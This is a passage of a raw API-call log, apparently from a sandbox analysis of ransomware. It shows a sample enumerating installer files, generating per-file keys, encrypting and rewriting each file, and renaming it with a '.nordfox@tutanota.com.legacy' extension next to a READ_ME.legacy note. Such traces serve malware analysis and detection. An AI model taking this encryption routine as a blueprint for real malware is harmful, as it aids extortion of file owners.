"c:\\588bce7c90097ed212\\1033\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0099.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0099.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0099.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0099.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0099.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0099.927] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0099.927] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0099.927] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1033\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0099.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0099.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0099.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0099.927] CreateFileW (lpFileName="\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c [0099.927] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=77232) returned 1 [0099.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12db0) returned 0x5a0f80 [0099.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12db0) returned 0x5b3d38 [0099.928] ReadFile (in: hFile=0x49c, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x12db0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x12db0, lpOverlapped=0x0) returned 1 [0099.946] SetFilePointer (in: hFile=0x49c, lDistanceToMove=-77232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.946] WriteFile (in: hFile=0x49c, lpBuffer=0x5b3d38*, nNumberOfBytesToWrite=0x12db0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b3d38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12db0, lpOverlapped=0x0) returned 1 [0099.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.947] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b3d38 | out: hHeap=0x520000) returned 1 [0099.949] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12db0 [0099.950] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.950] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.951] WriteFile (in: hFile=0x49c, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.952] WriteFile (in: hFile=0x49c, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.952] CloseHandle (hObject=0x49c) returned 1 [0099.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0099.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0099.956] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1033\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0099.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0099.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0099.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0099.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0099.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0099.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0099.960] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d140 | out: pbBuffer=0x54d140) returned 1 [0099.960] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1033\\eula.rtf", dwFileAttributes=0x80) returned 1 [0099.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0099.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0099.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0099.961] CreateFileW (lpFileName="\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c [0099.961] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3188) returned 1 [0099.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc74) returned 0x5a0f80 [0099.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc74) returned 0x5a1c00 [0099.961] ReadFile (in: hFile=0x49c, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0xc74, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0xc74, lpOverlapped=0x0) returned 1 [0099.991] SetFilePointer (in: hFile=0x49c, lDistanceToMove=-3188, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.992] WriteFile (in: hFile=0x49c, lpBuffer=0x5a1c00*, nNumberOfBytesToWrite=0xc74, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a1c00*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc74, lpOverlapped=0x0) returned 1 [0099.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a1c00 | out: hHeap=0x520000) returned 1 [0099.992] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc74 [0099.992] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.992] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.992] WriteFile (in: hFile=0x49c, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.992] WriteFile (in: hFile=0x49c, lpBuffer=0x54d140*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d140*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.993] CloseHandle (hObject=0x49c) returned 1 [0100.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0100.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0100.000] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1033\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0100.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0100.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0100.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0100.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0100.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0100.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0100.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571978 | out: hHeap=0x520000) returned 1 [0100.002] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ca5254, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0d28 [0100.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0100.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0100.003] GetLastError () returned 0x0 [0100.003] SetLastError (dwErrCode=0x0) [0100.003] GetLastError () returned 0x0 [0100.003] SetLastError (dwErrCode=0x0) [0100.003] GetLastError () returned 0x0 [0100.003] SetLastError (dwErrCode=0x0) [0100.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0100.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d710 [0100.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0100.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a08e8 [0100.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a08e8 | out: hHeap=0x520000) returned 1 [0100.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0100.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0100.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0100.003] FindNextFileW (in: hFindFile=0x5a0d28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ca5254, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0100.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0100.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0100.003] GetLastError () returned 0x0 [0100.003] SetLastError (dwErrCode=0x0) [0100.003] GetLastError () returned 0x0 [0100.004] SetLastError (dwErrCode=0x0) [0100.004] GetLastError () returned 0x0 [0100.004] SetLastError (dwErrCode=0x0) [0100.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e08 [0100.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0100.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0100.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0de8 [0100.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0de8 | out: hHeap=0x520000) returned 1 [0100.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0100.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0100.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e08 | out: hHeap=0x520000) returned 1 [0100.004] FindNextFileW (in: hFindFile=0x5a0d28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0100.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0100.004] GetLastError () returned 0x0 [0100.004] SetLastError (dwErrCode=0x0) [0100.004] GetLastError () returned 0x0 [0100.004] SetLastError (dwErrCode=0x0) [0100.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0100.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0100.004] GetLastError () returned 0x0 [0100.004] SetLastError (dwErrCode=0x0) [0100.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0100.005] FindNextFileW (in: hFindFile=0x5a0d28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0100.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0100.005] GetLastError () returned 0x0 [0100.005] SetLastError (dwErrCode=0x0) [0100.005] GetLastError () returned 0x0 [0100.005] SetLastError (dwErrCode=0x0) [0100.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0100.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0100.005] GetLastError () returned 0x0 [0100.005] SetLastError (dwErrCode=0x0) [0100.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567230 [0100.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567230 | out: hHeap=0x520000) returned 1 [0100.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0100.005] FindNextFileW (in: hFindFile=0x5a0d28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ca5254, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8ca5254, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8ca5254, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0100.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0100.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0100.005] GetLastError () returned 0x0 [0100.005] SetLastError (dwErrCode=0x0) [0100.006] GetLastError () returned 0x0 [0100.006] SetLastError (dwErrCode=0x0) [0100.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0100.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0100.006] GetLastError () returned 0x0 [0100.006] SetLastError (dwErrCode=0x0) [0100.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0100.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0100.006] FindNextFileW (in: hFindFile=0x5a0d28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0100.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0100.006] GetLastError () returned 0x0 [0100.006] SetLastError (dwErrCode=0x0) [0100.006] GetLastError () returned 0x0 [0100.006] SetLastError (dwErrCode=0x0) [0100.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0100.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0100.006] GetLastError () returned 0x0 [0100.006] SetLastError (dwErrCode=0x0) [0100.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f90 [0100.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f90 | out: hHeap=0x520000) returned 1 [0100.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0100.006] FindNextFileW (in: hFindFile=0x5a0d28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0100.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0100.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0100.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0100.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0100.007] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1035\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0100.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0100.007] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0100.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0100.007] CreateFileW (lpFileName="\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0 [0100.008] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18264) returned 1 [0100.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5a0f80 [0100.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5a56e0 [0100.008] ReadFile (in: hFile=0x4a0, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0100.065] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.065] WriteFile (in: hFile=0x4a0, lpBuffer=0x5a56e0*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a56e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0100.065] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0100.065] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a56e0 | out: hHeap=0x520000) returned 1 [0100.066] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4758 [0100.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0100.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0100.068] WriteFile (in: hFile=0x4a0, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0100.068] WriteFile (in: hFile=0x4a0, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0100.068] CloseHandle (hObject=0x4a0) returned 1 [0100.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0100.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0100.072] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1035\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0100.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0100.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0100.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0100.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0100.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0100.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0100.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0100.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0100.075] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1035\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0100.075] RtlAllocateHeap 